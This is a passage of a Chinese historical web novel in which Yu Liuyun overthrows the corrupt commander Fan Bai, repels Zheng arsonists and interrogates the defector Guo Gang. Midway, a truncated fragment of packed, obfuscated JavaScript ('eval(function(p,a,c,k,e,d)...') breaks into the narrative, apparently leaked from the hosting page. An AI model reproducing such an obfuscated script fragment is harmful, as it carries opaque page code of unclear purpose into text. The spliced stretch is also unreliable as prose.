两人因相携出门,避开了众人的注意,闲游到了城中。看到码头市舶司的门楼他们才晓得此地原叫“富安”,这时哪儿还有半份“富安”之景?走到了城里,不见店铺开门,也不见饭馆做生意,行人道路以目,都匆匆而过,他们就想打听有什么名胜也找不着个问路的人。张夫人本是出来散心,这时更加一肚子怨气,骂丈夫道:“这里既没有吃的,又没有玩的,风景也不好,你拉我来做什么?我们还是回船上去吧!” 张至美自觉有错,一声不敢吭,但一抬头,忽见街道尽头一片开阔的湖光,上面彩旗招展,又传来锣鼓之声。他忙道:“夫人,那边似乎有什么热闹的事,我们看过了再回船上不迟。” 张夫人翻了翻眼睛:“好吧,反正都走到这里了。”夫妻二人就朝湖边走去。 到了跟前,才觉得这是到了“富安”了,只见有两艘画舫,各载十数个美貌女子,人人手持乐器,正在演奏。而水中间又搭起一座台来,上面亦有十来个身材曼妙的舞娘在翩翩起舞。岸上人席地而坐,围着一个小小的水池。池中高低错落,砌成迷宫一般,最神奇的是,湖水被引到池中就依迷宫的走势而流淌,恰恰可经过每个宾客的面前。仆人将菜肴从一边放到水面上,菜肴便自动在各位宾客间流转,是为“流水席”。张氏夫妇在西瑶也算是出自高官之家,尚且未见过如此阵仗,这时不由傻了眼。 张至美不识人情世故,只道是富安的名流公子在此聚集,心想:难怪饭馆都关门,原来吃饭的人都到这里来了。这流水席实在有趣之极啊!他便想上前看个究竟。 张夫人名门千金,架子很大,别人不出声邀请,她是决不肯到跟前的,省得被误会是想占便宜,因此拉住丈夫,就是不让他过去。张至美低声央求了几句,反而被她呵斥:“你是什么身份?什么好东西没有见识过?做出这副没出息的模样干什么?” 这句声音稍微大了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张至美道:“这……这怎么使得!请范大人念我们人生地不熟,就饶过我们吧。” 范柏道:“到了本大人的地盘上,万事都是本大人说了算。现在我让你快滚,滚的慢了,休怪我不客气!” 张至美虽然窝囊,但是怎能容人侮辱妻子,这时把心一横,大吼一声朝范柏扑了过去。范柏哈哈大笑:“病猫也想发威!”抬起一脚把张至美踹开一边。旁边席上所坐本来就是他一伙的亲信军官,自然一拥而上,拳脚交加。 张夫人见这阵势,岂不是要叫丈夫命丧当场了,急得大叫:“你敢打他?你知道他是何人?” 范柏嘿嘿笑:“他是何人?莫非是西瑶皇帝?西瑶太子?哎哟,那你不是王妃么?难怪这么厉害。”说时,手已朝张夫人脸颊上捏去。 张夫人又惊又怒:“我夫君和我都是你们玉旒云玉大人的座上贵宾,你们敢如此无礼,少时玉大人一定收拾你们!” 玉旒云?范柏惊了惊,但怎么也想不出玉旒云怎么会和两个西瑶人一起来到自己的军营中。 他手下的人素知玉旒云睚眦必报,都不敢再打了:“大人,如果真是玉旒云来了,这事……” 范柏不想让人觉得自己怕玉旒云,因哼了一声,道:“玉旒云怎么啦?把这蛮子给我扔水里去!” 手下人一愣,不好公然违抗,只有把张至美拎了起来“扑通”丢下水。张夫人惊呼着要去相救,但是被范柏抱住动弹不得。看到丈夫扑腾了几下,终于被水淹没头顶,她一时又气又急,眼前发黑晕了过去。范柏抱着个“死”美人,好不扫兴,骂了句粗话,道:“反正娘们我也抢了,他男人我也杀了,就算玉旒云真来,死无对证。蛮子败我的兴,今天不玩了,回府去!” 众手下听他这样讲,也都起了丝侥幸,暗想:玉旒云哪有这么巧跑到这里来呢?她被削了兵权,不是正和皇上闹脾气么?就算她来,咱把过错都推到范柏一个人身上,总牵扯不上自己就是。 于是大家跟着范柏收了席,浩浩荡荡回总兵府。 只是张至美沉下水并没有溺死,本来昏昏沉沉,呛了几口水之后竟然清醒了过来。虽然不识水性,但是一来求生乃人之本能,二来他实在不能眼看着妻子被人霸占,因此手划脚蹬拼命往岸边游。也是命不该绝,居然挣扎到了岸上。他看范柏等人正收拾离开,暗想,自己此时冲上去,非但救不得妻子,还要丢了性命,不如等着回去找玉旒云搬救兵。于是就在画舫后面躲着,等一众人都走了,才爬上岸去。 他不顾浑身伤痛,使出吃奶的力气往码头跑,引得街上不多的几个行人纷纷侧目。到得船上,撞见第一个人,他就嘶声问道:“玉大人在哪儿?救命啊!” 玉旒云本来在舱内和邓川等人分析本地情况,万一郑人来袭,大家好立即应对。听到外面吵闹就来看个究竟。见一个遍体鳞伤的张至美朝自己扑了过来,手脚并用地爬到了跟前,道:“玉大人,不好了。我夫人被人抢走了,求你快去救救她!” 玉旒云莫名其妙,叫他把话说清楚。张至美就声泪俱下地把事情的前后讲了一回:“那个叫范柏的,禽兽不如。我们说了大人的名号,他还是一点儿面子也不给。” “你跟范柏说玉将军在此?”邓川大惊。 张至美点点头:“说了,但他还是抢走了夫人又叫人把我丢到水里……” 邓川本来觉得他可怜,这时真恨不得踢他一脚:“你好好儿的去招惹……”想想觉得骂也无用,转向玉旒云道:“玉将军,恐怕这范柏知道您来到此间,不时就会找上门来。这可如何是好?” 玉旒云轻轻蹙眉:如果范柏真的知道了自己的行踪,岂敢前来硬碰?还不是赶紧报告吕异。那样可就麻烦了,倒不如先下手为强。因冷笑了一声:“他动我的客人,就算他不来找我,我也要去找他——石将军还在操练么?你去叫他把人都集合到码头上来——不,都集合到总兵府门口去。我就去见见这位范总兵。” 范柏回到了府中,心里就打起了鼓:那两个西瑶人若只是为了脱身,也没必要编造自己是玉旒云的客人啊?莫非玉旒云真的来了? 前思后想,越想越后怕。也没心思去享受新抢来的美女了,一壁叫人悄悄去城里看看有否玉旒云的踪迹,一壁去了笔墨来,急急给他舅舅吕异写信。可是这封信才写了一半,那派去探听消息的人就面如土色地闯了进来:“范大人,不得了,邓川他们几个煽动了一大群士兵——已经到门口了!恐怕是要造反!” “邓川?”范柏怒道,“这小子活腻了,是想连十夫长也没的做么?你去叫亲兵们来,咱们去门口会会他。” 那人汗如雨下:“大人,亲兵们都不知跑到哪里去了,恐怕也被邓川煽动。大人不如避一避?” 范柏火冒三丈:“避什么避?难道邓川还敢以下犯上杀我这朝廷命官?”说到这里,一忖度:邓川背地里早把自己恨了十七、八个洞,但一直未见有什么动静,怎么今日突然发难,莫非是玉旒云来给他撑腰?因问:“邓川和什么人一起?可有玉旒云在?” “小人……”回答得支支吾吾,“小人不认识玉旒云……” “我操!”范柏一个嘴巴子打过去,“玉旒云就是一副不男不女的样子,嘴上没毛,办事不牢——再回去看看!” 那人被他打得在地上叽里咕噜直打滚,几乎要闯出门去时,忽然有人在他腰上一踏,将他停了下来。就听这人道:“范总兵找我么?”正是玉旒云进来了。 范柏见邓川、邵聪等人都跟在玉旒云身边,知道今日之事凶多吉少,强自冷笑,道:“怎么,玉大人做领侍卫内大臣做得不过瘾,还要跑我这里来招揽我的人马么?” 玉旒云笑了笑:“范总兵自己三妻四妾的日子过得还不够,还要抢我朋友的夫人么?” 范柏道:“若是为了这件事,实在是个天大误会。尊友迷路撞到了我的酒席上,自己又不甚失足落水,我看她妻子一人无依无靠,就先带回府里来了。既然尊友已然获救,我这就叫人把他妻子送回去。” 玉旒云道:“有劳,有劳。不过我这朋友是西瑶人,西瑶人做生意不能只求保本,须得有赚才好。他又是做生意的大行家,向来是一本万利。范大人光归还他夫人恐怕还不行,你须得把你的小妾们统统都送给他,他才能勉强善罢甘休。” 范柏知道这是故意寻衅,玉旒云特特来找自己麻烦的,不敢硬碰,便道:“好说好说,兄弟如手足,女人如衣服。我一定照办。” 玉旒云说:“那好。”但是并不离开,反而直朝范柏走了过去。范柏不禁退了两步:“做什么?”玉旒云不理他,一把抓起桌上写了一半的信,扫了两眼,笑道:“呵,你舅舅和他的朋友们最喜欢说我玉某人别的本事没有,只晓得找皇后娘娘撒娇,原来范总兵也是别的本事没有,只晓得找舅舅帮忙。呵呵,吕将军竟然五十步笑百步,他日我跟他见面,定要好好笑话他一番。” 范柏见讽刺不成,客气也不成,只有威胁了,道:“他日玉大人和我舅父见了面,恐怕要先回答我舅父,为什么身为统领禁军的领侍卫内大臣,却要跑到边关来折腾戍边的军队。” 玉旒云冷哼一声,朝范柏的椅子上一坐,道:“玉某人本来是打猎散心,游玩到此,听说有些人把军营搞得乌烟瘴气。我最看不过这种事,所以非得来折腾一下这个人不可!”说着,不待范柏反应过来,“呼”地一脚登了出去,就将他踢得凌空而起,飞过了桌案,直落在邓川等人的面前。 范柏摔得七荤八素,帽子也歪了,脸也绿了,索性豁出去大骂道:“玉旒云,你有胆就把爷爷给杀了。爷爷没犯大错,我看你怎么跟皇上交代。” 邓川听了,大怒:“你还没犯大错?你把军队搞得不像个军队——别得意,玉将军已经率领我们联名参了你一本,皇上自会发落你。死罪是不见得有,不过,也叫你尝尝去伙房烧饭的滋味!” 范柏听得此言,猜想玉旒云已经到这里好几日了,那联名折子恐怕已经送到西京。若是别人参他,兵部里有的是吕异的人马,一定能半途拦下来,然而玉旒云是领侍卫内大臣,这是正一品的大官,比兵部尚书品级还高,况她又是皇亲国戚,公爵乃是超品,哪一个敢拦她的折子?自己落在她手上,说不定还有人要落井下石呢。除非吕异撕破脸皮来跟玉旒云斗一场,但是自己只不过是人家的外甥,又不是亲儿子,人家又岂肯为了自己大动干戈? 想到这里,他只剩下最后一招了,即趴在地上给玉旒云磕头道:“玉大人,是下官错了。还请大人念在和我舅父的交情,饶过下官一条小命。” 玉旒云嘿嘿冷笑:“我几时说要取你的性命了?我又不是刑部尚书,也不是钦差大臣,还不能先斩后奏。” 范柏继续磕头:“多谢玉大人。”他想邓川等人肯定已经告过状了,玉旒云多半是来为这些昔日追随过自己的人出头,因道:“下官有眼无珠,当时错降了邓副将等人的官职,玉大人要为他们复职,下官立即照办。” 玉旒云拿起笔来把玩着:“他们又不是我的部下,我也不是兵部尚书,怎么能干预你的人事任免?不过,我国自太祖皇帝以来就推崇唯才是举,军中是谁的军功高,谁的军阶也就高,这才是我军能够所向披靡的秘诀。我跟你说这道理,至于怎么办,那是随便你。你终究还是这里的总兵,我不过是来此游玩的客人而已。”虽这样说着,却把笔“咄”地朝范柏丢过去,不偏不倚正打在他的脸上,立刻画出一道墨印。 范柏哪里还有半分脾气,唯唯连声地爬了过来,拿过纸张,立刻就写了公文,将邓川等人官复原职。 玉旒云道:“好极,好极。邓副将,麻烦你亲自把这个拿到总兵府门口去张贴——邵参将,我看范总兵也累了,你找人带他到后面去休息,千万要保护他的安全。此外,加派人手,任何人不得出富安镇。” 邓、邵二人都领命。他们知道这里刚才上演的实际是一场兵变,如果传到了吕异的耳朵里,大家都有麻烦。在庆澜帝的圣旨未到之前,可不能走漏半点风声。不过两人又犯愁:富安并不是堡垒式的城池,没有城墙围绕四周,也自然不能关起城门来对人详加盘查,充其量,只能关闭军营大门。但若范柏的同伙这时已经跑脱,那就难以查找了。 正在犯愁的时候,忽然见到石梦泉从外面大步走了进来。“大人!”他对玉旒云一抱拳,“哨兵来报,发现郑国军队正在边境上操练演习,不知他们是否企图偷袭,请大人示下。” “哦?”玉旒云闻言大喜——这就要交上了火,就算有什么消息走漏到吕异那里,他为怕落下个不识轻重的罪名,肯定不敢追究范柏的事。于是拊掌起身:“来,来,来,替范总兵传下令去,我们也到边境上去‘操练演习’,看看郑国人玩的什么花样!” 55. 第 55 章 事情并不如玉旒云所愿。边境上的郑军不知是二皇子还是那皇叔的队伍,不过是出来绕一圈,以示自己胆大,一见到樾军出现,立刻调头跑得比兔子还快。毕竟两国有停战协议,郑国既割地赔款,樾国不可无故出兵。樾军只能望着对手留下的一路烟尘骂了几声“缩头乌龟”。可是,当这边樾军才一转回营地,那边哨兵又飞跑来报,说是郑人又跑来边境上了,这次还摆出了许多靶子,在演练箭法,但偏偏士兵们都射不中,脱靶的箭许多都飞到樾国境内。 邓川大骂:“岂有此理。玉将军,让我去教训教训他们。”就领了一队人马折回边境上去。岂料他的旗子才在地平线上出现,那边郑人又逃之夭夭。气得邓川拿过弓来,“呼呼”也朝郑人那边放了两箭。他射得很准,全都扎在靶子上,那扛着把子撤退的士兵吓得两腿发软,跌坐在地上。 邓川这才解了气,回来向玉旒云报告。玉旒云冷笑道:“居然弄些小孩家的玩意儿,郑国这伙皇亲国戚也真有出息。咱们不要理他们,岗哨加强戒备,其他人勤加操练。只要他们敢过国境来,包准有来无回。” 邓川得令,照样去办。到这日黄昏之后,郑人又到边境上来了好几次,但是哨兵只当他们是唱大戏,并不理会。 这夜,玉旒云住在总兵府中——她虽然以范柏的名义发出军令,但实际已经接手了富安防务,自然要坐镇总兵衙门。张至美夫妇劫后余生,也搬到总兵府中暂住。两人都来感谢玉旒云救命之恩,大家客套了一番,听到初更鼓响,就告辞回房。玉旒云捻了捻灯,打算再读读书,就对石梦泉道:“我看你还是早些回船上去——那一船的无价之宝,我可不放心别人看着。” 石梦泉道:“也是。”想了想,又道:“大人,你看郑军会不会是跟咱们玩‘狼来了’的游戏?特特要等咱们放松警惕,然后攻其不备?” 玉旒云道:“兵不厌诈,当然是有可能。不过他们打过来了,不是正好被咱们消灭?” 石梦泉道:“只是,这样虚虚实实,不知道他们究竟是真的想攻过来,还是在消耗咱们的精神。哨兵终有厌烦的时候,那就麻烦了。” 玉旒云道:“那你看要如何?” 石梦泉道:“虽然两国有约在先,但是他们这样一再挑衅,就咱们当真打过去,也落不了什么话柄。何况,黑夜之中,怎能看出是谁先动的手?我觉得应该先发制人。” 玉旒云道:“虽是这样,不过……”她笑了笑:“要是一夜之间就把郑军给灭了,范柏这小子未免功劳太大,而且也用不着从瑞津调救兵来了——你别忘了,现在是范柏在打仗,不是你我。就有小小失利,也无不可。” “可是,”石梦泉道,“如果存心让郑军占上风,我军将士的伤亡岂不是……” 玉旒云道:“这个我也考虑到,所以才犹豫不定。” 才说着的时候,突然听到外面一阵嘈杂,有人嚷道:“走水啦!走水啦!”两人急步抢出来看,见总兵府外火光冲天,拦住一个兵士询问,知道只是城东的一片废宅而已。 “粮草在什么方向?”玉旒云问,“小心风大波及粮草。” 士兵道:“粮仓在城西,离得很远,不会烧到。” 玉旒云点点头,叫他快去帮忙救火,自己和石梦泉对视一眼,都想:这个是意外,还是人为?若是人为,是范柏的狐群狗党在作怪,还是郑军? 他们在院子里遥遥望着北方,兵士扑救得力,没多久,那边的天空就黯淡下去。有人前来回报,说是未见到纵火的痕迹,应该只是天气干燥,自然起火。玉旒云道:“无论如何都还是小心为上——注意巡查粮库,千万不可出差池。”又叫石梦泉:“你还是回船上去吧,那些东西可烧不得。” 石梦泉答应着,方要出门,忽然见到南边的天空又亮了起来:“哎呀,那不是码头么?” 显见这并非意外了,玉旒云一跺脚:“还不快去救火?”自己也大步出门,然而到了门口,又停下:“等等,不要中了调虎离山之计,粮草库不可疏忽,先带着水桶到那边去,以防万一。其他的人,且随我去码头。” 当下便分开行事。玉旒云同石梦泉赶到了港口,见湾内旧船已经烧成一片,大青河化为火海,根本就辨不出他们的那艘福船停在何处。而且水上救火不比陆地,兵士们连落脚之地都无,只能从岸上和栈桥上向力所能及之地泼水。然而火势之猛,岂是杯水所能灭,大家虽然竭尽全力,还是只能眼巴巴看着船只烧成灰烬。 玉旒云真是既心疼又愤怒,看着浓烟滚滚的水面,沉声道:“什么人做的,要被我揪出来,也要将他烧成灰烬!” 只有石梦泉知道那只船有多么重要,看着水面上残余的桅杆龙骨,想着他们从西瑶千辛万苦带回来的火炮就这样沉入水底,实在心有不甘。只不,他想起当日卓思远让自己验看物品,除了火炮之外,另有两箱火药——卓思远说过,这两箱并非弹药,只是烟花,他们到西京向庆澜帝展示新炮时,可以填充在炮筒之中,这样既安全,又新奇,庆澜帝一定喜欢——如果这两箱火药点着,刚才应该发生爆炸才对啊! 他心里便起了一丝希望,睁大眼睛在河面上仔细搜索,浓烟稍稍散去,就看到河中央有一个漆黑的影子。“大人!”他兴奋地叫了起来,“我们的船在那里!” 玉旒云一看,果不其然,应是西瑶水手发觉港口失火,就立刻起锚航行到了河中央,这才免遭灭顶之灾。失而复得,使她心下大喜,不过却说出一句怨毒无比的话:“跟我斗!”一语比深秋的风还冷,邓川就站在她身边,本来被大火熏得满头大汗,这时都不禁打了个寒噤——这几天来他看到的玉旒云毕竟不是真正的玉旒云。 “玉将军!石将军!”路上邵聪乘马而来。大家见他马后拖了个人,一路行来已经头破血流,却是樾军服色。“将军!”邵聪下马把那人往前一推,“这小贼在粮仓边上鬼鬼祟祟,我们叫他过来问话,他拔腿就跑。我把他抓住一看,竟带着火石、火油,显然是想烧粮草。幸亏将军有先见之明,叫我们严加看守,才没有被他得逞。” 玉旒云走到跟前,一脚将那人踢翻,让他仰视着自己避无可避:“我要问你是什么人,你一定不说,所以留着你也没什么用。”说时,“唰”地拔出了剑来,朝那人当头砍下。 那人大概早就准备好了会落入敌手,然后有严刑拷打,他一定抵死不泄露半句,只要能熬着,或许还有一线生机。岂料玉旒云连话也不问,直接就一剑砍来,他不禁吓得把什么“视死如归”“宁死不屈”都忘了,本能地举手护头,呼道:“饶命——我是郑国人!我是二皇子的人!” 玉旒云的剑就停在离他胳膊不到一寸的地方。“郑国人啊。”她阴阴地一笑,“原来郑国的细作这么没出息,吓一吓就全说了——来,看这人也没什么用,咱们樾、郑两国睦邻友好,就把他送过边境去,顺便告诉他们二皇子,以后别派这么个嘴巴不牢靠的人来当细作,简直就是瞧不起我们樾军嘛!” 这郑国人一听,若把自己送回去,又说自己嘴巴不牢靠,岂不就是要让二皇子取他的性命么?他虽恨玉旒云阴险狡猾,但是落在人家手里,他也没有办法,只好磕头道:“小人招了,什么都招——”原来郑军知道无法和樾军硬拼,于是计划搞些小规模的破坏,乱人阵脚,他和好几个郑国士兵这次前来的目的就是要烧粮草,不过为了分散樾军的注意力,就先在别处放几把火,等到军营中混乱起来,再烧粮仓。 “你倒挺老实的嘛。”玉旒云道,“那你们所谓在‘别处放几把火’除了城北和码头之外,还有什么地方?你们一共来了多少人?怎么来的,又打算如何回去?” 她本以为这招“置之死地而后生”已经把这郑国人制服,岂料这人却不回答他的问题,只是垂头看着地面。 “怎么?”玉旒云道,“你现在又不怕死了?” 那人道:“小人的确是怕死,所以才泄露了军机大事,成了郑国的罪人,今后有国归不得。但是小人死,是小人一个人的事,如果我今交代了其他人在何处,如何来,又如何去,就是把他们也交到了大人的手中。那小人今后就是活着,也跟死了没什么分别。所以,小人还是求大人赐我一死吧。” 玉旒云挑了挑眉毛:“有意思。把他押下去,加强巡逻。我们回总兵府!” 一行人回到了总兵府,哨兵老远就迎了上来:“将军,又抓了个奸细。” 玉旒云问道:“哪里抓的?” 哨兵道:“书房里。” 玉旒云愕了愕:“书房里?” 哨兵道:“属下们巡逻到那里,这人自己开门出来,说要见您,又说他是郑国人。现在他就在书房等您。” “岂有此理!”邓川骂道,“还不把他押来?” “哎——”玉旒云道,“我倒要看看是什么个不知死活的东西!梦泉,走——”便和石梦泉一起到了书房。 进门就看到一个四十来岁的儒生,中等身材,相貌平常——其实说他相貌丑陋也不为过,山羊胡须,扫帚眉,狮鼻大嘴,一双小眼睛却射出精光来,像是暗夜中的老鼠,又像是潜伏的毒蛇。玉旒云皱皱眉头,咳嗽了一声。 儒生即朝她一揖:“郭罡拜见玉大人。” 玉旒云手抚剑柄:“你说什么?这里是范柏范总兵治下,哪里来的什么玉大人?” 郭罡道:“玉大人的一场兵变干净利索,范柏那窝囊废早就成了您的阶下囚,玉大人何必还要隐瞒身份呢?” 玉旒云叫石梦泉掩上了门,自己朝郭罡走了两步,冷冷地上下打量他:“你也是郑国二皇子的部下?消息倒是很灵通啊!” 郭罡拱了拱手:“多谢大人夸奖。老夫在总兵府中已经潜伏许久了。” “哦?”玉旒云道,“今天的这些火也是你叫人放的?” 郭罡点头:“正是老夫所为。” 玉旒云的剑“呛”地出了鞘:“你胆子倒不小。” 寒光闪闪就架在郭罡的脖子上,常人早就吓软了腿,他却面色如常,道:“成大事者若是胆小如鼠,那么大事岂不成了镜花水月?” “成大事?”玉旒云轻轻地挽了个剑花,但是并没有把剑收回去,而是端详着剑身,以及自己在那一线白亮中的倒影。“你既然是为了成大事,怎么不一早杀了范柏夺下这座城来,到时你主公就可以登上王位?” 郭罡道:“二皇子登上的不过是郑国王位,能不能坐得稳犹未可知。就算皇叔和其他皇子罢手不争,玉大人他朝挥师东进,郑国不复存在,他的王位也就化为乌有。花了这许多功夫,死了这许多人,却得来一座沙上的堡垒,实在有点不值。” 玉旒云冷笑了一下:“我樾、郑两国早有和约,郑国没有违反和约,我军为什么要挥师东进?何况,我又不是带兵的将领,就算要东进,也跟我没关系。” 郭罡道:“郑国只余半壁江山,凭什么跟樾国平起平坐谈和约?什么停战协议,还不是樾国愿意停就停,愿意战就战的么?只不过,要将郑国彻底拿下,也不是一件容易的事。放眼樾军上下,除了玉大人还有谁有这个本事?” 玉旒云负着手,到桌边坐了下来,用剑隔桌子遥指着郭罡,道:“你不用吹捧我。我可不吃那一套。你跑来说这一通话,到底是为了什么?” 郭罡看了看石梦泉,做出一副欲言又止的样子。 玉旒云冷笑道:“你既然知道我,也就应该知道他。有什么事情你如果不敢当着他的面讲,在我面前也大可不必讲了。” 郭罡道:“是么?老夫听说金银珠宝可以送人,美女妖姬可以分享,不过从没听说过权力也可以容他人染指的。” “废话!”玉旒云将剑掷了出去,几乎是贴着郭罡的耳朵飞过,“咄”地一下钉在了门上,“你不用拿些挑拨离间的话来激我,你爱讲不讲,我没有功夫在这里跟你耗着!” “大人……”石梦泉只是担心郭罡会威胁玉旒云的安全,所以才不肯轻易离去,看眼下就要闹僵了,生怕错过了什么大事,因道:“我还是退出去,就在门口……” “不用!”玉旒云道,“我们两个十几年来何曾分开过,岂能因为这个人几句鬼话就改变?”她对郭罡厉声道:“你要说就说,梦泉是一定要留在这里的。我现在数到三,你不说,我只好叫人来拉你下去了。一,二,三——” 她“三”字出口,郭罡只是用一种奇怪的眼神望着她。玉旒云却丝毫不为其所动,高声令道:“来人,把这奸细给我押下去!” 外面卫兵得令而入,立刻将郭罡反剪了手臂。郭罡摇头叹道:“我以为玉旒云非池中之物,原来也不过如此……” 玉旒云丝毫不被他激将,缓步走到门前,拔下长剑收回鞘中:“我玉某人是不是池中之物,用不着你来操心。你马上可就成了‘笼中之物’——我奉劝你来和别人谈条件之前,先掂掂自己的斤两。” 郭罡看了她一眼,露出一抹似有似无的笑意,更显得双眼光芒诡异:“大人这话说的好。今夜星光如此可人,大人应该到总兵府的后花园游玩一番。等到过了子时,老夫怕大人会后悔。” 玉旒云眯起眼睛:“是么?那就多谢了——押下去!” 卫兵带着郭罡走远了,石梦泉道:“大人,你看这人究竟是何企图?” 玉旒云“哼”了一声:“如果不是来替郑国人谈什么条件的,就是来投诚的。我看投诚的可能性比较大。不过他惹人讨厌。” 石梦泉知道她发火都是因为郭罡想要支开自己,对这份情已是心领了,恐怕她冲动之下误了事,因道:“其实方才我就走开也无所谓的,也许这姓郭的当真有什么重要情报?” 玉旒云道:“你愿意避开,那是你的事。但这人前来投诚,竟然要挟于我——假如我真的收了他,将来岂不是都要受制于他?哼,他想得倒美。我反将他一军,他不是乖乖地透了口风——什么到后花园游玩,你想是什么意思?” 石梦泉道:“那总得去后花园看看才知道。” 当下两人就来到了总兵府后花园。 这夜其实天阴,天上布满了云彩,连一丝星光也不见。两人全靠灯笼照明,才不至在后花园的石子小径上摔倒。范柏上任之后搜刮当地民脂民膏,将官邸修建的行宫一般,两人看这后花园,亭台楼阁,假山池塘,和段青锋太子府的花园也差不多了。只不过秋冬之交万物萧索,才看不到奇花异木。 玉旒云不禁有感而发:“老百姓搜刮完了,下一步大概就是要克扣军饷了吧?到时把士兵都饿得头晕眼花,郑国管是什么二皇子还是皇叔,都可骑到我们头上来了。” 石梦泉道:“幸亏你把范柏治了,只要肃清军纪,相信不久百姓也会返回家园。” 玉旒云笑了笑:“那是不错——不过我担心的是咱们在瑞津的队伍。上梁不正下梁歪,范柏是这样,吕异能好到哪儿去?刘子飞也不是什么好东西,当日攻破铴国,他立刻想纵兵三日——我看瑞津的商家大概已经过不下去了,咱们的士兵……” 石梦泉想起自己当初将营中所有之物登记造册,为的是防备刘子飞和吕异侵吞财物污蔑玉旒云。这两个人不能挥霍已有之物,只能从外头找些新钱来花,这是当时没有考虑到的。 “不知姓郭的到底跟我们玩的什么花样?”已经走到了花园深处,依然没有发觉任何异常。玉旒云走进一座凉亭,四下望望。 亭子当中有一口井,琉璃雕花井阑甚是华丽。她将灯笼提近了看看:“范柏可真是花了不少心思啊!” “可惜是口枯井。”石梦泉道。那井底漆黑一片,并不见灯笼的倒影。 “哎呀——”他二人的灯笼撞在一处,玉旒云的那一盏从钩子上脱落,直落进了枯井去。 “是我笨手笨脚……”石梦泉连忙道歉。 玉旒云在他手上拍了一下:“既然笨,就吃我一掌——咦,你看!”她指着井里。灯笼落地之后就燃烧了起来,一团光辉刚好可以照亮井下,这时可以分明地看到井壁上有一个一人来高的洞。 莫非范柏在府里还挖了秘道?“立刻叫人下去查!”玉旒云命令。 不时,就招了十多个卫兵来,带着铁钩绳索爬下井去。过了总有一柱香的时间,才又上来,道:“启禀将军,这下面的确有一条秘道。里面分岔极多,也不知每一条岔路通向何处。如果将军要彻查,恐怕得多派些人手。” 玉旒云皱眉想了想:“现在什么时辰了?” 邓川道:“就快三更天了。” 子时,子时!玉旒云想起郭罡的话,虽然还不甚确定,但是命令道:“底下人全部给我上来——拿火油来!” 众人不知他是何意,但是早在翼水一战就晓得她的厉害,立即照办。火油拿来后,玉旒云又吩咐大家熄灭灯笼、火把不要出声。众人按她吩咐而做,在井边静静地呆着,不多时,传来了三更鼓响。 这时,又听得井中有一阵悉唆之声,似乎是闹耗子。然而玉旒云“倏”地一下跳了起来,抢过卫兵手中的火油整桶倒了下去。“点灯!”她命令。 火把、灯笼瞬间齐齐亮起。石梦泉举火一照,只见井中有好几个樾军服色的军士,被火油淋了满头满脑,又骤然被强光照射,睁不开眼来,狼狈万分。这些人知道自己的行踪暴露,仓皇转身要朝秘道中逃。 “想活命的就站住!”玉旒云厉喝,同时将火把探入井内,“再跑我就点火了!” 井下的人怔了怔,想,反正都是死,不如一搏!一头扎进洞里,离开了众人的视线。邓川大骂:“果然是不想活了!”就要把火把丢下井去。 “等等。”玉旒云拦住他,“让他们跑一会儿再点火。至少寻着那火烧的痕迹可以知道是朝那个方向走的。” 邓川一想,果然有理,就擎火把守在井边。 “看来这些是郑国人。”石梦泉道,“大人,郭罡既然知道他们要从这里上来,就应该还知道其他计划。要不要找他来问问?” 玉旒云点点头,叫人去把郭罡押上来问话。 士兵去了一遭,还是一人回来复命:“启禀玉将军,那姓郭的不肯前来,非要将军自己去见他。” “岂有此理!”邓川道,“那你怎么不把他拖过来?” 士兵道:“属下拖了,可是那老家伙倔强得紧,说假如将军不去见他,他宁肯咬舌头自尽死在牢里。” 我先将他一军,他又来将我一军,玉旒云恨恨地想。“见就见。”她道,“梦泉,咱们走。” 石梦泉想这郭罡脾气古怪,如果自己陪在玉旒云身边,他必然又要说“单独”相谈,而玉旒云也是个拧脾气,决计不肯让自己离开,难免要闹僵,恐怕误事。因道:“大人,这花园中或许还有其他古怪。我想带人好好搜查一番,省得在姓郭的招供之前又出其他状况。” 玉旒云想想,的确如此,就同意了,自己一个人来见郭罡。 她到了地牢里,见郭罡好整以暇地坐在草铺之上,正闭目养神,那份悠闲之态,让玉旒云立刻感觉自己是“三顾茅庐”来请这丑八怪。 好哇,她想,我且要杀杀你的锐气!因咳嗽了一声,在牢门上踢了踢,道:“郭先生,这个笼中之物做得还挺舒心吧?” 郭罡眼也不睁:“老夫也不是没坐过监牢。天下若没有明主,在什么地方都跟在监牢里差不多。” 玉旒云冷笑道:“明主?就是你的主公二皇子了吧?你为了他竟挖出一条这么长的地道来——不知这躲在地下见不得光的,算是什么明主呢?” “大人说了一句话,竟有两个错——”郭罡道,“二皇子根本算不得明主,而这地道也不是老夫挖的。” “你叫人替他挖,还不是一样?”玉旒云不服输。 “二皇子今年之有一十八岁。”郭罡道,“这条地道却挖了五年之久,若是为他而做,岂不是他十三岁的时候就已经想着要来此地放火?” “挖了五年?”玉旒云先是惊讶,但想到士兵说那地道纵横交错,的确不可一朝一夕就完成,于是就好奇道:“五年前是什么人挖的?” 郭罡听她不再乱摆架子,而是认真和自己问话就睁开了眼,道:“五年前这里是寿康侯的府邸。他为人风流,妻妾成群,却还信奉‘妻不如妾,妾不如偷’,所以隔三差五就要出门去寻花问柳。他有一本《寻芳册》,按照册子轮流光顾各处,又觉得走街串巷不够有趣,所以就命人从府中挖地道出去,达到册子上每一个女子的家中。” 竟有这等下流无耻之人,玉旒云想。“你怎么知道得这么清楚?” 郭罡道:“我早年也曾是寿康侯的幕僚,当然熟知他的事迹。” “原来是这样!”玉旒云忍不住出言讽刺,“你的‘明主’是个喜欢钻地道偷别人老婆的人。” 郭罡并不生气:“有道是‘路遥知马力,日久见人心’。选择主公,岂有一开始就知道他的明主的呢?总要宾主相处了一段时间才能判断。况且,就算是有些人是明主,也不见得对投奔之人皆收诸门下,所以有需要侍奉不同的主公,一步步靠近那位明主吧?” 这是什么道理?玉旒云素没有听过。“所以你就从寿康侯的门下跑去二皇子的门下?” 郭罡摇头道:“非也,非也。老夫从寿康侯的门下到了大将军曹猛帐下,做了他的军师。他能有后来的地位,老夫也该有一份功劳。可惜,翼水一战他不肯听老夫的提醒,结果被玉大人斩杀。” 功劳就是你的,战败就是人家的不对,玉旒云无声冷笑:“这之后你又投奔了谁?” 